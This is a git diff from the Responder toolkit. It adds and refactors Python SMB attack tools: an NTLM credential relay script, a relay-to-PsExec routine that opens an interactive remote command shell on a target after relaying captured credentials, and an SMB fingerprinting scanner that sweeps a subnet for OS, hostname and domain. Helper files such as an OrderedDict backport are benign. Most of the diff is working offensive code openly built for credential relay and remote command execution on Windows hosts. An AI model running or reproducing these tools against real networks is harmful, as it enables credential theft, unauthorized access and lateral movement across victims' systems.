|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
|
||||
## Fail Handling.
|
||||
if data[8:10] == "\x75\x22":
|
||||
print "[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n"
|
||||
Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
|
||||
return False
|
||||
return False
|
||||
|
||||
## Fail Handling.
|
||||
if data[8:10] == "\x75\xcc":
|
||||
print "[+] Tree Connect AndX denied. Bad Network Name returned."
|
||||
return False
|
||||
|
||||
## Tree Connect
|
||||
if data[8:10] == "\x75\x00":
|
||||
print "[+] Looks good, "+Username+" has admin rights on C$."
|
||||
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\IPC$")
|
||||
t.calculate()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
|
||||
## Go to NtCreateAndx
|
||||
if data[8:10] == "\x75\x00":
|
||||
print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n"
|
||||
|
||||
while True:
|
||||
if data[8:10] == "\x75\x00":
|
||||
#thread.start_new_thread(SMBKeepAlive, (s,data, 15)) #keep it alive every 15 secs.
|
||||
thread.start_new_thread(get_command, ())
|
||||
while Cmd == "":
|
||||
pass
|
||||
|
||||
if Cmd == "exit":
|
||||
sys.exit(1)
|
||||
|
||||
data = RunCmd(data, s, clientIP, Username, Domain, Cmd, Logs, Host)
|
||||
|
||||
if data is None:
|
||||
print "\033[1;31m\nSomething went wrong, the server dropped the connection. Make sure to clean the server (\\Windows\\Temp\\)\033[0m\n"
|
||||
|
||||
if data[8:10] == "\x2d\x34":#Confirmed with OpenAndX that no file remains.
|
||||
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||
t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\IPC$")
|
||||
t.calculate()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
Cmd2 = raw_input("C:\\Windows\\system32\\:#")
|
||||
|
||||
while len(Cmd2) is 0:
|
||||
Cmd2 = raw_input("C:\\Windows\\system32\\:#")
|
||||
|
||||
if Cmd2 == "exit":
|
||||
sys.exit(1)
|
||||
|
||||
data = RunCmd(data, s, clientIP, Username, Domain, Cmd2, Logs, Host)
|
||||
|
||||
if data[8:10] == "\x2d\x00":
|
||||
print "[*] File still exist (Windows\\Temp\\Results.txt), server's not playing nicely."
|
||||
|
||||
|
||||
def main():
|
||||
try:
|
||||
num_thrd = 1
|
||||
while num_thrd > 0:
|
||||
RunPsExec(Host)
|
||||
time.sleep(1)
|
||||
except KeyboardInterrupt:
|
||||
exit()
|
||||
|
||||
if __name__ == '__main__':
|
||||
try:
|
||||
main()
|
||||
except:
|
||||
raise
|
||||
|
||||
|
||||
|
||||
117
tools/RelayHTTPSMB/odict.py
Normal file
117
tools/RelayHTTPSMB/odict.py
Normal file
@@ -0,0 +1,117 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
from UserDict import DictMixin
|
||||
|
||||
class OrderedDict(dict, DictMixin):
|
||||
|
||||
def __init__(self, *args, **kwds):
|
||||
if len(args) > 1:
|
||||
raise TypeError('expected at most 1 arguments, got %d' % len(args))
|
||||
try:
|
||||
self.__end
|
||||
except AttributeError:
|
||||
self.clear()
|
||||
self.update(*args, **kwds)
|
||||
|
||||
def clear(self):
|
||||
self.__end = end = []
|
||||
end += [None, end, end]
|
||||
self.__map = {}
|
||||
dict.clear(self)
|
||||
|
||||
def __setitem__(self, key, value):
|
||||
if key not in self:
|
||||
end = self.__end
|
||||
curr = end[1]
|
||||
curr[2] = end[1] = self.__map[key] = [key, curr, end]
|
||||
dict.__setitem__(self, key, value)
|
||||
|
||||
def __delitem__(self, key):
|
||||
dict.__delitem__(self, key)
|
||||
key, prev, next = self.__map.pop(key)
|
||||
prev[2] = next
|
||||
next[1] = prev
|
||||
|
||||
def __iter__(self):
|
||||
end = self.__end
|
||||
curr = end[2]
|
||||
while curr is not end:
|
||||
yield curr[0]
|
||||
curr = curr[2]
|
||||
|
||||
def __reversed__(self):
|
||||
end = self.__end
|
||||
curr = end[1]
|
||||
while curr is not end:
|
||||
yield curr[0]
|
||||
curr = curr[1]
|
||||
|
||||
def popitem(self, last=True):
|
||||
if not self:
|
||||
raise KeyError('dictionary is empty')
|
||||
if last:
|
||||
key = reversed(self).next()
|
||||
else:
|
||||
key = iter(self).next()
|
||||
value = self.pop(key)
|
||||
return key, value
|
||||
|
||||
def __reduce__(self):
|
||||
items = [[k, self[k]] for k in self]
|
||||
tmp = self.__map, self.__end
|
||||
del self.__map, self.__end
|
||||
inst_dict = vars(self).copy()
|
||||
self.__map, self.__end = tmp
|
||||
if inst_dict:
|
||||
return self.__class__, (items,), inst_dict
|
||||
return self.__class__, (items,)
|
||||
|
||||
def keys(self):
|
||||
return list(self)
|
||||
|
||||
setdefault = DictMixin.setdefault
|
||||
update = DictMixin.update
|
||||
pop = DictMixin.pop
|
||||
values = DictMixin.values
|
||||
items = DictMixin.items
|
||||
iterkeys = DictMixin.iterkeys
|
||||
itervalues = DictMixin.itervalues
|
||||
iteritems = DictMixin.iteritems
|
||||
|
||||
def __repr__(self):
|
||||
if not self:
|
||||
return '%s()' % (self.__class__.__name__,)
|
||||
return '%s(%r)' % (self.__class__.__name__, self.items())
|
||||
|
||||
def copy(self):
|
||||
return self.__class__(self)
|
||||
|
||||
@classmethod
|
||||
def fromkeys(cls, iterable, value=None):
|
||||
d = cls()
|
||||
for key in iterable:
|
||||
d[key] = value
|
||||
return d
|
||||
|
||||
def __eq__(self, other):
|
||||
if isinstance(other, OrderedDict):
|
||||
return len(self)==len(other) and \
|
||||
min(p==q for p, q in zip(self.items(), other.items()))
|
||||
return dict.__eq__(self, other)
|
||||
|
||||
def __ne__(self, other):
|
||||
return not self == other
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -15,21 +15,10 @@
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
import sys
|
||||
sys.path.append('../')
|
||||
from odict import OrderedDict
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("data", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
from packets import Packet
|
||||
|
||||
class SMBHeader(Packet):
|
||||
fields = OrderedDict([
|
||||
@@ -351,4 +340,4 @@ class SMBDCESVCCTLStartService(Packet):
|
||||
def ParseAnswerKey(data,host):
|
||||
key = data[73:81]
|
||||
print "Key retrieved is:%s from host:%s"%(key.encode("hex"),host)
|
||||
return key
|
||||
return key
|
||||
|
||||
234
tools/SMBFinger/Finger.py
Executable file
234
tools/SMBFinger/Finger.py
Executable file
@@ -0,0 +1,234 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import re,sys,socket,struct
|
||||
from socket import *
|
||||
from odict import OrderedDict
|
||||
import optparse
|
||||
|
||||
__version__ = "0.3"
|
||||
|
||||
parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0])
|
||||
|
||||
parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None)
|
||||
options, args = parser.parse_args()
|
||||
|
||||
Timeout = 0.3
|
||||
Host = options.TARGET
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
def longueur(payload):
|
||||
length = struct.pack(">i", len(''.join(payload)))
|
||||
return length
|
||||
|
||||
class SMBHeader(Packet):
|
||||
fields = OrderedDict([
|
||||
("proto", "\xff\x53\x4d\x42"),
|
||||
("cmd", "\x72"),
|
||||
("error-code", "\x00\x00\x00\x00" ),
|
||||
("flag1", "\x00"),
|
||||
("flag2", "\x00\x00"),
|
||||
("pidhigh", "\x00\x00"),
|
||||
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("reserved", "\x00\x00"),
|
||||
("tid", "\x00\x00"),
|
||||
("pid", "\x00\x00"),
|
||||
("uid", "\x00\x00"),
|
||||
("mid", "\x00\x00"),
|
||||
])
|
||||
|
||||
class SMBNego(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x00"),
|
||||
("Bcc", "\x62\x00"),
|
||||
("Data", "")
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
|
||||
|
||||
class SMBNegoData(Packet):
|
||||
fields = OrderedDict([
|
||||
("BuffType","\x02"),
|
||||
("Dialect", "NT LM 0.12\x00"),
|
||||
])
|
||||
|
||||
|
||||
class SMBSessionFingerData(Packet):
|
||||
fields = OrderedDict([
|
||||
("wordcount", "\x0c"),
|
||||
("AndXCommand", "\xff"),
|
||||
("reserved","\x00" ),
|
||||
("andxoffset", "\x00\x00"),
|
||||
("maxbuff","\x04\x11"),
|
||||
("maxmpx", "\x32\x00"),
|
||||
("vcnum","\x00\x00"),
|
||||
("sessionkey", "\x00\x00\x00\x00"),
|
||||
("securitybloblength","\x4a\x00"),
|
||||
("reserved2","\x00\x00\x00\x00"),
|
||||
("capabilities", "\xd4\x00\x00\xa0"),
|
||||
("bcc1",""),
|
||||
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
|
||||
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
|
||||
|
||||
##Now Lanman
|
||||
class SMBHeaderLanMan(Packet):
|
||||
fields = OrderedDict([
|
||||
("proto", "\xff\x53\x4d\x42"),
|
||||
("cmd", "\x72"),
|
||||
("error-code", "\x00\x00\x00\x00" ),
|
||||
("flag1", "\x08"),
|
||||
("flag2", "\x01\xc8"),
|
||||
("pidhigh", "\x00\x00"),
|
||||
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("reserved", "\x00\x00"),
|
||||
("tid", "\x00\x00"),
|
||||
("pid", "\x3c\x1b"),
|
||||
("uid", "\x00\x00"),
|
||||
("mid", "\x00\x00"),
|
||||
])
|
||||
|
||||
class SMBNegoDataLanMan(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x00"),
|
||||
("Bcc", "\x54\x00"),
|
||||
("BuffType","\x02"),
|
||||
("Dialect", "NT LM 0.12\x00"),
|
||||
|
||||
])
|
||||
def calculate(self):
|
||||
CalculateBCC = str(self.fields["BuffType"])+str(self.fields["Dialect"])
|
||||
self.fields["Bcc"] = struct.pack("<h",len(CalculateBCC))
|
||||
|
||||
#####################
|
||||
|
||||
def atod(a):
|
||||
return struct.unpack("!L",inet_aton(a))[0]
|
||||
|
||||
def dtoa(d):
|
||||
return inet_ntoa(struct.pack("!L", d))
|
||||
|
||||
def OsNameClientVersion(data):
|
||||
try:
|
||||
length = struct.unpack('<H',data[43:45])[0]
|
||||
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
|
||||
return OsVersion, ClientVersion
|
||||
|
||||
except:
|
||||
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
|
||||
|
||||
def GetHostnameAndDomainName(data):
|
||||
try:
|
||||
DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]])
|
||||
return Hostname, DomainJoined
|
||||
except:
|
||||
return "Could not get Hostname.", "Could not get Domain joined"
|
||||
|
||||
def DomainGrab(Host):
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
try:
|
||||
s.settimeout(Timeout)
|
||||
s.connect(Host)
|
||||
except:
|
||||
print "Host down or port close, skipping"
|
||||
pass
|
||||
try:
|
||||
h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00")
|
||||
n = SMBNegoDataLanMan()
|
||||
n.calculate()
|
||||
packet0 = str(h)+str(n)
|
||||
buffer0 = longueur(packet0)+packet0
|
||||
s.send(buffer0)
|
||||
data = s.recv(2048)
|
||||
if data[8:10] == "\x72\x00":
|
||||
return GetHostnameAndDomainName(data)
|
||||
except:
|
||||
pass
|
||||
|
||||
def SmbFinger(Host):
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
try:
|
||||
s.settimeout(Timeout)
|
||||
s.connect(Host)
|
||||
except:
|
||||
print "Host down or port close, skipping"
|
||||
pass
|
||||
try:
|
||||
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
|
||||
n = SMBNego(Data = SMBNegoData())
|
||||
n.calculate()
|
||||
packet0 = str(h)+str(n)
|
||||
buffer0 = longueur(packet0)+packet0
|
||||
s.send(buffer0)
|
||||
data = s.recv(2048)
|
||||
if data[8:10] == "\x72\x00":
|
||||
head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
|
||||
t = SMBSessionFingerData()
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
if data[8:10] == "\x73\x16":
|
||||
return OsNameClientVersion(data)
|
||||
except:
|
||||
pass
|
||||
##################
|
||||
#run it
|
||||
def ShowResults(Host):
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
try:
|
||||
s.settimeout(Timeout)
|
||||
s.connect(Host)
|
||||
except:
|
||||
return False
|
||||
|
||||
try:
|
||||
print "Retrieving information for %s..."%Host[0]
|
||||
OsVer, LanManClient = SmbFinger(Host)
|
||||
print "Os version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)
|
||||
Hostname, DomainJoined = DomainGrab(Host)
|
||||
print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined)
|
||||
except:
|
||||
pass
|
||||
|
||||
def RunFinger(Host):
|
||||
m = re.search("/", str(Host))
|
||||
if m :
|
||||
net,_,mask = Host.partition('/')
|
||||
mask = int(mask)
|
||||
net = atod(net)
|
||||
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
|
||||
ShowResults((host,445))
|
||||
else:
|
||||
ShowResults((Host,445))
|
||||
|
||||
RunFinger(Host)
|
||||
106
tools/SMBFinger/odict.py
Normal file
106
tools/SMBFinger/odict.py
Normal file
@@ -0,0 +1,106 @@
|
||||
from UserDict import DictMixin
|
||||
|
||||
class OrderedDict(dict, DictMixin):
|
||||
|
||||
def __init__(self, *args, **kwds):
|
||||
if len(args) > 1:
|
||||
raise TypeError('expected at most 1 arguments, got %d' % len(args))
|
||||
try:
|
||||
self.__end
|
||||
except AttributeError:
|
||||
self.clear()
|
||||
self.update(*args, **kwds)
|
||||
|
||||
def clear(self):
|
||||
self.__end = end = []
|
||||
end += [None, end, end]
|
||||
self.__map = {}
|
||||
dict.clear(self)
|
||||
|
||||
def __setitem__(self, key, value):
|
||||
if key not in self:
|
||||
end = self.__end
|
||||
curr = end[1]
|
||||
curr[2] = end[1] = self.__map[key] = [key, curr, end]
|
||||
dict.__setitem__(self, key, value)
|
||||
|
||||
def __delitem__(self, key):
|
||||
dict.__delitem__(self, key)
|
||||
key, prev, next = self.__map.pop(key)
|
||||
prev[2] = next
|
||||
next[1] = prev
|
||||
|
||||
def __iter__(self):
|
||||
end = self.__end
|
||||
curr = end[2]
|
||||
while curr is not end:
|
||||
yield curr[0]
|
||||
curr = curr[2]
|
||||
|
||||
def __reversed__(self):
|
||||
end = self.__end
|
||||
curr = end[1]
|
||||
while curr is not end:
|
||||
yield curr[0]
|
||||
curr = curr[1]
|
||||
|
||||
def popitem(self, last=True):
|
||||
if not self:
|
||||
raise KeyError('dictionary is empty')
|
||||
if last:
|
||||
key = reversed(self).next()
|
||||
else:
|
||||
key = iter(self).next()
|
||||
value = self.pop(key)
|
||||
return key, value
|
||||
|
||||
def __reduce__(self):
|
||||
items = [[k, self[k]] for k in self]
|
||||
tmp = self.__map, self.__end
|
||||
del self.__map, self.__end
|
||||
inst_dict = vars(self).copy()
|
||||
self.__map, self.__end = tmp
|
||||
if inst_dict:
|
||||
return (self.__class__, (items,), inst_dict)
|
||||
return self.__class__, (items,)
|
||||
|
||||
def keys(self):
|
||||
return list(self)
|
||||
|
||||
setdefault = DictMixin.setdefault
|
||||
update = DictMixin.update
|
||||
pop = DictMixin.pop
|
||||
values = DictMixin.values
|
||||
items = DictMixin.items
|
||||
iterkeys = DictMixin.iterkeys
|
||||
itervalues = DictMixin.itervalues
|
||||
iteritems = DictMixin.iteritems
|
||||
|
||||
def __repr__(self):
|
||||
if not self:
|
||||
return '%s()' % (self.__class__.__name__,)
|
||||
return '%s(%r)' % (self.__class__.__name__, self.items())
|
||||
|
||||
def copy(self):
|
||||
return self.__class__(self)
|
||||
|
||||
@classmethod
|
||||
def fromkeys(cls, iterable, value=None):
|
||||
d = cls()
|
||||
for key in iterable:
|
||||
d[key] = value
|
||||
return d
|
||||
|
||||
def __eq__(self, other):
|
||||
if isinstance(other, OrderedDict):
|
||||
return len(self)==len(other) and \
|
||||
min(p==q for p, q in zip(self.items(), other.items()))
|
||||
return dict.__eq__(self, other)
|
||||
|
||||
def __ne__(self, other):
|
||||
return not self == other
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
d = OrderedDict([('foo',2),('bar',3),('baz',4),('zot',5),('arrgh',6)])
|
||||
assert [x for x in d] == ['foo', 'bar', 'baz', 'zot', 'arrgh']
|
||||
79
tools/SMBRelay.py
Normal file → Executable file
79
tools/SMBRelay.py
Normal file → Executable file
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -14,11 +14,26 @@
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import sys, os, struct,re,socket,random, RelayPackets,optparse,thread
|
||||
import sys
|
||||
import random
|
||||
import optparse
|
||||
import thread
|
||||
sys.path.append('../')
|
||||
from fingerprint import RunSmbFinger
|
||||
from odict import OrderedDict
|
||||
from socket import *
|
||||
from RelayPackets import *
|
||||
from packets import *
|
||||
from servers.SMB import *
|
||||
from packets import Packet
|
||||
|
||||
import logging
|
||||
Logs = logging
|
||||
Logs.basicConfig(filemode="w",filename='SMBRelay-Session.txt',format='',level=logging.DEBUG)
|
||||
|
||||
|
||||
def longueur(payload):
|
||||
return struct.pack(">i", len(''.join(payload)))
|
||||
|
||||
|
||||
def UserCallBack(op, value, dmy, parser):
|
||||
args=[]
|
||||
@@ -42,68 +57,41 @@ if options.CMD is None:
|
||||
print "\n-c mandatory option is missing, please provide a command to execute on the target.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
if options.TARGET is None:
|
||||
elif options.TARGET is None:
|
||||
print "\n-t mandatory option is missing, please provide a target.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
if options.UserToRelay is None:
|
||||
elif options.UserToRelay is None:
|
||||
print "\n-u mandatory option is missing, please provide a username to relay.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
ResponderPATH = os.path.dirname(__file__)
|
||||
# Set some vars.
|
||||
UserToRelay = options.UserToRelay
|
||||
Domain = options.Domain
|
||||
Command = options.CMD
|
||||
Target = options.TARGET
|
||||
Responder_IP = options.Responder_IP
|
||||
|
||||
print "\nResponder SMBRelay 0.1\nPlease send bugs/comments to: lgaffie@trustwave.com"
|
||||
print "\nResponder SMBRelay 0.1\nPlease send bugs/comments to: laurent.gaffie@gmail.com"
|
||||
print '\033[31m'+'Use this script in combination with Responder.py for best results (remember to set SMB = Off in Responder.conf)..\nUsernames to relay (-u) are case sensitive.'+'\033[0m'
|
||||
print 'To kill this script hit CRTL-C or Enter\nWill relay credentials for these users: '+'\033[1m\033[34m'+', '.join(UserToRelay)+'\033[0m\n'
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("data", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
#Logger
|
||||
import logging
|
||||
Logs = logging
|
||||
Logs.basicConfig(filemode="w",filename='SMBRelay-Session.txt',format='',level=logging.DEBUG)
|
||||
|
||||
#Function used to verify if a previous auth attempt was made.
|
||||
def ReadData(outfile,Client, User, cmd=None):
|
||||
try:
|
||||
with open(ResponderPATH+outfile,"r") as filestr:
|
||||
if cmd == None:
|
||||
if cmd is None:
|
||||
String = Client+':'+User
|
||||
if re.search(String.encode('hex'), filestr.read().encode('hex')):
|
||||
filestr.close()
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
if cmd != None:
|
||||
return False
|
||||
if cmd is not None:
|
||||
String = Client+","+User+","+cmd
|
||||
if re.search(String.encode('hex'), filestr.read().encode('hex')):
|
||||
filestr.close()
|
||||
print "[+] Command: %s was previously executed on host: %s. Won't execute again.\n" %(cmd, Client)
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
return False
|
||||
except:
|
||||
raise
|
||||
|
||||
@@ -121,7 +109,6 @@ def ParseHash(data,Client, Target):
|
||||
Username, Domain = tuple(var)
|
||||
if ReadData("SMBRelay-Session.txt", Client, Username):
|
||||
print "[+]Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
|
||||
pass
|
||||
if Username in UserToRelay:
|
||||
print '%s sent a NTLMv2 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
|
||||
print "Username : ",Username
|
||||
@@ -133,7 +120,6 @@ def ParseHash(data,Client, Target):
|
||||
Username, Domain = tuple(var)
|
||||
if ReadData("SMBRelay-Session.txt", Client, Username):
|
||||
print "Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
|
||||
pass
|
||||
if Username in UserToRelay:
|
||||
print '%s sent a NTLMv1 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
|
||||
LMHashing = data[65:65+LMhashLen].encode('hex').upper()
|
||||
@@ -143,9 +129,6 @@ def ParseHash(data,Client, Target):
|
||||
return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client
|
||||
else:
|
||||
print "'%s' user was not specified in -u option, won't relay authentication. Allowed users to relay are: %s"%(Username,UserToRelay)
|
||||
pass
|
||||
|
||||
|
||||
except Exception:
|
||||
raise
|
||||
|
||||
@@ -155,12 +138,10 @@ def Is_Anonymous(data):
|
||||
if LMhashLen == 0 or LMhashLen == 1:
|
||||
print "SMB Anonymous login requested, trying to force client to auth with credz."
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
return False
|
||||
|
||||
def ParseDomain(data):
|
||||
Domain = ''.join(data[81:].split('\x00\x00\x00')[:1])+'\x00\x00\x00'
|
||||
return Domain
|
||||
return ''.join(data[81:].split('\x00\x00\x00')[:1])+'\x00\x00\x00'
|
||||
|
||||
#Function used to know which dialect number to return for NT LM 0.12
|
||||
def Parse_Nego_Dialect(data):
|
||||
@@ -255,7 +236,7 @@ def RunRelay(host, Command,Domain):
|
||||
a = SmbRogueSrv139(Key,Target,DomainMachineName)
|
||||
if a is not None:
|
||||
LMHash,NTHash,Username,OriginalDomain, CLIENTIP = a
|
||||
if Domain == None:
|
||||
if Domain is None:
|
||||
Domain = OriginalDomain
|
||||
if ReadData("SMBRelay-Session.txt", Target, Username, CMD):
|
||||
pass
|
||||
|
||||
232
utils.py
232
utils.py
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -21,7 +21,11 @@ import logging
|
||||
import socket
|
||||
import time
|
||||
import settings
|
||||
import datetime
|
||||
|
||||
def HTTPCurrentDate():
|
||||
Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT')
|
||||
return Date
|
||||
try:
|
||||
import sqlite3
|
||||
except:
|
||||
@@ -29,109 +33,109 @@ except:
|
||||
sys.exit(0)
|
||||
|
||||
def color(txt, code = 1, modifier = 0):
|
||||
|
||||
if txt.startswith('[*]'):
|
||||
settings.Config.PoisonersLogger.warning(txt)
|
||||
|
||||
elif 'Analyze' in txt:
|
||||
settings.Config.AnalyzeLogger.warning(txt)
|
||||
|
||||
# No colors for windows...
|
||||
if os.name == 'nt':
|
||||
if os.name == 'nt': # No colors for windows...
|
||||
return txt
|
||||
|
||||
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
|
||||
|
||||
def text(txt):
|
||||
logging.info(txt)
|
||||
|
||||
stripcolors = re.sub(r'\x1b\[([0-9,A-Z]{1,2}(;[0-9]{1,2})?(;[0-9]{3})?)?[m|K]?', '', txt)
|
||||
logging.info(stripcolors)
|
||||
if os.name == 'nt':
|
||||
return txt
|
||||
return '\r' + re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt)
|
||||
|
||||
